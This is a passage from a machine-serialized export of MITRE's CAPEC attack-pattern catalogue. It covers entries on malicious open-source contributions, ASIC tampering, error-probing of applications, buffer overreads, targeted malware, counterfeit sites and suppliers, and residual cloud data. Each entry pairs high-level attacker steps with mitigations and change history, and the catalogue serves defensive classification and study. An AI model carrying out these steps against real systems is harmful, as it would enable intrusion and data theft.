</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep30229 + Attack_Step_30229 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute the plan for malicious contribution] Write the code to be contributed based on the plan and then submit the contribution. Multiple commits, possibly using multiple identities, will help obscure the attack. Monitor the contribution site to try to determine if the code has been uploaded to the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the open source code base being used by the manufacturer in a system being developed or currently deployed at a victim location.</xhtml:div> + + + + + + + + + + + + #indSkillSkill30239 + Skill_30239 + + + + + + + + + + + + + + Advanced knowledge about the inclusion and specific usage of an open source code project within system being targeted for infiltration. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary with access to an open source code project introduces a hard-to-find bug in the software that allows under very specific conditions for encryption to be disabled on data streams. The adversary commits the change to the code which is picked up by a manufacturer who develops VPN software. It is eventually deployed at the victim's location where the very specific conditions are met giving the adversary the ability to sniff plaintext traffic thought to be encrypted. This can provide to the adversary access to sensitive data of the victim.</xhtml:div> + + + + + 494 + + + + + 829 + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseSoftwareDependenciesAndDevelopmentTools + Supply Chain Compromise: Software Dependencies and Development Tools + + + + + + + + + + + + + + 1195.001 + + + + + Supply Chain Compromise: Software Dependencies and Development Tools + + + + + + + + + + + + #indReferenceReference30255 + Reference_30255 + + + + + + + + + REF-439 + + + + + + + + + + + + #indContentHistoryContentHistory30257 + Content_History_30257 + + + + + + + + + + + + + + + + #indSubmissionSubmission30258 + Submission_30258 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30263 + Modification_30263 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification30269 + Modification_30269 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30275 + Modification_30275 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Description, Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30281 + Modification_30281 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated @Name, Description, Example_Instances, Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30287 + Modification_30287 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Execution_Flow, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification30293 + Modification_30293 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName30299 + Previous_Entry_Name_30299 + + + + + + + + + 2021-06-24 + + + + + Open Source Libraries Altered + + + + + + + + + + + + #CAPEC-539 + ASIC With Malicious Functionality + + + + + + + + + 539 + + + + + ASIC With Malicious Functionality + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker with access to the development environment process of an application-specific integrated circuit (ASIC) for a victim system being developed or maintained after initial deployment can insert malicious functionality into the system for the purpose of disruption or further compromise.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30308 + Related_Attack_Pattern_30308 + + + + + + + + + + + + + + 444 + + + + + 513 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have working knowledge of some if not all of the components involved in the target system as well as the infrastructure and development environment of the manufacturer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge about the ASIC installed within the target system.</xhtml:div> + + + + + + + + + + + + #indSkillSkill30317 + Skill_30317 + + + + + + + + + + + + + + Able to develop and manufacture malicious subroutines for an ASIC environment without degradation of existing functions and processes. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A hardware manufacturer periodically updates its ASIC with new features. The attacker, knowing the manufacturer runs email on a system adjacent to the hardware development systems used for ASIC design, sends a phishing email with a malicious attachment to the manufacturer. When viewed, the malicious attachment installs a backdoor that allows the attacker to remotely compromise the adjacent ASIC development system. The attacker is then able to exfiltrate and alter sensitive data on the ASIC system, allowing for future compromise once a new AISC is deployed at the victim location.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indReferenceReference30329 + Reference_30329 + + + + + + + + + REF-439 + + + + + + + + + + + + #indContentHistoryContentHistory30331 + Content_History_30331 + + + + + + + + + + + + + + + + #indSubmissionSubmission30332 + Submission_30332 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30337 + Modification_30337 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification30343 + Modification_30343 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30349 + Modification_30349 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-54 + Query System for Information + + + + + + + + + 54 + + + + + Query System for Information + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary, aware of an application's location (and possibly authorized to use the application), probes an application's structure and evaluates its robustness by submitting requests and examining responses. Often, this is accomplished by sending variants of expected queries in the hope that these modified queries might return information beyond what the expected set of queries would provide.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30363 + Related_Attack_Pattern_30363 + + + + + + + + + + + + + + 116 + + + + + 514 + + + + + 515 + + + + + 437 + + + + + + + + + + + + #indAttackStepAttackStep30370 + Attack_Step_30370 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine parameters] Determine all user-controllable parameters of the application either by probing or by finding documentation</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep30375 + Attack_Step_30375 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Cause error condition] Inject each parameter with content that causes an error condition to manifest</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep30380 + Attack_Step_30380 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Modify parameters] Modify the content of each parameter according to observed error conditions</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep30385 + Attack_Step_30385 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Follow up attack] Once the above steps have been repeated with enough parameters, the application will be sufficiently mapped out. The adversary can then launch a desired attack (for example, Blind SQL Injection)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This class of attacks does not strictly require authorized access to the application. As Attackers use this attack process to classify, map, and identify vulnerable aspects of an application, it simply requires hypotheses to be verified, interaction with the application, and time to conduct trial-and-error activities.</xhtml:div> + + + + + + + + + + + + #indSkillSkill30395 + Skill_30395 + + + + + + + + + + + + + + Although fuzzing parameters is not difficult, and often possible with automated fuzzers, interpreting the error conditions and modifying the parameters so as to move further in the process of mapping the application requires detailed knowledge of target platform, the languages and packages used as well as software design. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The Attacker needs the ability to probe application functionality and provide it erroneous directives or data without triggering intrusion detection schemes or making enough of an impact on application logging that steps are taken against the adversary.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The Attack does not need special hardware, software, skills, or access.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Repeated errors generated by the same piece of code are an indication, although it requires careful monitoring of the application and its associated error logs, if any.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence30407 + Consequence_30407 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Application designers can construct a 'code book' for error messages. When using a code book, application error messages aren't generated in string or stack trace form, but are cataloged and replaced with a unique (often integer-based) value 'coding' for the error. Such a technique will require helpdesk and hosting personnel to use a 'code book' or similar mapping to decode application errors/logs in order to respond to them normally.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Application designers can wrap application functionality (preferably through the underlying framework) in an output encoding scheme that obscures or cleanses error messages to prevent such attacks. Such a technique is often used in conjunction with the above 'code book' suggestion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Blind SQL injection is an example of this technique, applied to successful exploit. See also: CVE-2006-4705</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Attacker sends bad data at various servlets in a J2EE system, records returned exception stack traces, and maps application functionality.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In addition, this technique allows attackers to correlate those servlets used with the underlying open source packages (and potentially version numbers) that provide them.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 209 + + + + + + + + + + + + #indContentHistoryContentHistory30426 + Content_History_30426 + + + + + + + + + + + + + + + + #indSubmissionSubmission30427 + Submission_30427 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30432 + Modification_30432 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification30438 + Modification_30438 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification30444 + Modification_30444 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification30450 + Modification_30450 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30456 + Modification_30456 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30462 + Modification_30462 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow, Resources_Required + + + + + + + + + + + + #indModificationModification30468 + Modification_30468 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName30474 + Previous_Entry_Name_30474 + + + + + + + + + 2015-11-09 + + + + + Probe Application Error Reporting + + + + + + + + + + + + #CAPEC-540 + Overread Buffers + + + + + + + + + 540 + + + + + Overread Buffers + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary attacks a target by providing input that causes an application to read beyond the boundary of a defined buffer. This typically occurs when a value influencing where to start or stop reading is set to reflect positions outside of the valid memory location of the buffer. This type of attack may result in exposure of sensitive information, a system crash, or arbitrary code execution.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30482 + Related_Attack_Pattern_30482 + + + + + + + + + + + + + + 123 + + + + + + + + + + + + #indAttackStepAttackStep30485 + Attack_Step_30485 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target application] The adversary identifies a target application or program to perform the buffer overread on. Adversaries often look for applications that accept user input and that perform manual memory management.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep30490 + Attack_Step_30490 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find attack vector] The adversary identifies an attack vector by looking for areas in the application where they can specify to read more data than is required.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep30495 + Attack_Step_30495 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overread the buffer] The adversary provides input to the application that gets it to read past the bounds of a buffer, possibly revealing sensitive information that was not intended to be given to the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For this type of attack to be successful, a few prerequisites must be met. First, the targeted software must be written in a language that enables fine grained buffer control. (e.g., c, c++) Second, the targeted software must actually perform buffer operations and inadequately perform bounds-checking on those buffer operations. Finally, the adversary must have the capability to influence the input that guides these buffer operations.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence30505 + Consequence_30505 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">By reading outside the boundary of the intended buffer, the adversary is potentially able to see any data that is stored on the disk. This could include secret keys, personal information, and sensitive files.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence30510 + Consequence_30510 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Depending on the use of the target buffer, an application or system crash can be achieved.</xhtml:div> + + + + + 125 + + + + + + + + + + + + #indContentHistoryContentHistory30519 + Content_History_30519 + + + + + + + + + + + + + + + + #indSubmissionSubmission30520 + Submission_30520 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30525 + Modification_30525 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-541 + Application Fingerprinting + + + + + + + + + 541 + + + + + Application Fingerprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30538 + Related_Attack_Pattern_30538 + + + + + + + + + + + + + + 224 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None</xhtml:div> + + + + + 204 + + + + + 205 + + + + + 208 + + + + + + + + + + + + #indTaxonomyMappingGatherVictimHostInformationSoftware + Gather Victim Host Information: Software + + + + + + + + + + + + + + 1592.002 + + + + + Gather Victim Host Information: Software + + + + + + + + + + + + #indContentHistoryContentHistory30554 + Content_History_30554 + + + + + + + + + + + + + + + + #indSubmissionSubmission30555 + Submission_30555 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30560 + Modification_30560 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification30566 + Modification_30566 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-542 + Targeted Malware + + + + + + + + + 542 + + + + + Targeted Malware + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary develops targeted malware that takes advantage of a known vulnerability in an organizational information technology environment. The malware crafted for these attacks is based specifically on information gathered about the technology environment. Successfully executing the malware enables an adversary to achieve a wide variety of negative technical impacts.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30577 + Related_Attack_Pattern_30577 + + + + + + + + + + + + + + 549 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30578 + Related_Attack_Pattern_30578 + + + + + + + + + + + + + + 662 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Software being run on a system matches a file signature found in a malware database</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A suspicious module is loaded that is not regularly loaded by a system</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Software on a system is making calls to "GetProcAddress()" which is a commonly used function to implement dynamic API resolution</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingDevelopCapabilitiesMalware + Develop Capabilities: Malware + + + + + + + + + + + + + + 1587.001 + + + + + Develop Capabilities: Malware + + + + + + + + + + + + #indTaxonomyMappingObfuscatedFilesOrInformation + Obfuscated Files or Information + + + + + + + + + + + + + + 1027 + + + + + Obfuscated Files or Information + + + + + + + + + + + + #indNoteNote30596 + Note_30596 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries often utilize obfuscation techniques when developing malware with the purpose of either avoiding detection or prevent the target from reverse engineering and understanding a captured malware sample. Some of these techniques include, but are not limited to, binary padding, software packing, stripping symbols and strings from a payload, and utilizing dynamic API resolution.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory30598 + Content_History_30598 + + + + + + + + + + + + + + + + #indSubmissionSubmission30599 + Submission_30599 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30604 + Modification_30604 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30610 + Modification_30610 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification30616 + Modification_30616 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification30622 + Modification_30622 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30628 + Modification_30628 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification30634 + Modification_30634 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Indicators, Notes, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-543 + Counterfeit Websites + + + + + + + + + 543 + + + + + Counterfeit Websites + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary creates duplicates of legitimate websites. When users visit a counterfeit site, the site can gather information or upload malware.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30646 + Related_Attack_Pattern_30646 + + + + + + + + + + + + + + 194 + + + + + 513 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30650 + Related_Attack_Pattern_30650 + + + + + + + + + + + + + + 89 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingMasqueradingMatchLegitimateNameOrLocation + Masquerading: Match Legitimate Name or Location + + + + + + + + + + + + + + 1036.005 + + + + + Masquerading: Match Legitimate Name or Location + + + + + + + + + + + + #indContentHistoryContentHistory30661 + Content_History_30661 + + + + + + + + + + + + + + + + #indSubmissionSubmission30662 + Submission_30662 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30667 + Modification_30667 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30673 + Modification_30673 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30679 + Modification_30679 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30685 + Modification_30685 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30691 + Modification_30691 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-544 + Counterfeit Organizations + + + + + + + + + 544 + + + + + Counterfeit Organizations + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary creates a false front organizations with the appearance of a legitimate supplier in the critical life cycle path that then injects corrupted/malicious information system components into the organizational supply chain.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30703 + Related_Attack_Pattern_30703 + + + + + + + + + + + + + + 194 + + + + + 513 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory30711 + Content_History_30711 + + + + + + + + + + + + + + + + #indSubmissionSubmission30712 + Submission_30712 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30717 + Modification_30717 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30723 + Modification_30723 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-545 + Pull Data from System Resources + + + + + + + + + 545 + + + + + Pull Data from System Resources + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary who is authorized or has the ability to search known system resources, does so with the intention of gathering useful information. System resources include files, memory, and other aspects of the target system. In this pattern of attack, the adversary does not necessarily know what they are going to find when they start pulling data. This is different than CAPEC-150 where the adversary knows what they are looking for due to the common location.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30735 + Related_Attack_Pattern_30735 + + + + + + + + + + + + + + 116 + + + + + 514 + + + + + 437 + + + + + 1239 + + + + + 1243 + + + + + 1258 + + + + + 1266 + + + + + 1272 + + + + + 1278 + + + + + 1323 + + + + + 1258 + + + + + 1330 + + + + + + + + + + + + #indTaxonomyMappingDataFromLocalSystem + Data from Local System + + + + + + + + + + + + + + 1005 + + + + + Data from Local System + + + + + + + + + + + + #indTaxonomyMappingCredentialsFromPasswordStoresKeychain + Credentials from Password Stores:Keychain + + + + + + + + + + + + + + 1555.001 + + + + + Credentials from Password Stores:Keychain + + + + + + + + + + + + #indContentHistoryContentHistory30761 + Content_History_30761 + + + + + + + + + + + + + + + + #indSubmissionSubmission30762 + Submission_30762 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30767 + Modification_30767 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary, References + + + + + + + + + + + + #indModificationModification30773 + Modification_30773 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification30779 + Modification_30779 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30785 + Modification_30785 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification30791 + Modification_30791 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification30797 + Modification_30797 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification30803 + Modification_30803 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification30809 + Modification_30809 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName30815 + Previous_Entry_Name_30815 + + + + + + + + + 2015-11-09 + + + + + Probe Application Queries + + + + + + + + + + + + #CAPEC-546 + Incomplete Data Deletion in a Multi-Tenant Environment + + + + + + + + + 546 + + + + + Incomplete Data Deletion in a Multi-Tenant Environment + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30825 + Related_Attack_Pattern_30825 + + + + + + + + + + + + + + 545 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The cloud provider must not assuredly delete part or all of the sensitive data for which they are responsible.The adversary must have the ability to interact with the system.</xhtml:div> + + + + + + + + + + + + #indSkillSkill30831 + Skill_30831 + + + + + + + + + + + + + + The adversary requires the ability to traverse directory structure. + + + + + + + + + + + + #indConsequenceConsequence30834 + Consequence_30834 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful attack that probes application memory will compromise the confidentiality of that data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Cloud providers should completely delete data to render it irrecoverable and inaccessible from any layer and component of infrastructure resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Deletion of data should be completed promptly when requested.</xhtml:div> + + + + + 284 + + + + + 1266 + + + + + 1272 + + + + + + + + + + + + #indReferenceReference30850 + Reference_30850 + + + + + + + + + REF-461 + + + + + + + + + + + + #indContentHistoryContentHistory30852 + Content_History_30852 + + + + + + + + + + + + + + + + #indSubmissionSubmission30853 + Submission_30853 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30858 + Modification_30858 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30864 + Modification_30864 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, References, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification30870 + Modification_30870 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification30876 + Modification_30876 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification30882 + Modification_30882 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated @Name + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName30888 + Previous_Entry_Name_30888 + + + + + + + + + 2021-10-21 + + + + + Probe Application Memory + + + + + + + + + + + + #CAPEC-547 + Physical Destruction of Device or Component + + + + + + + + + 547 + + + + + Physical Destruction of Device or Component + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary conducts a physical attack a device or component, destroying it such that it no longer functions as intended.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30896 + Related_Attack_Pattern_30896 + + + + + + 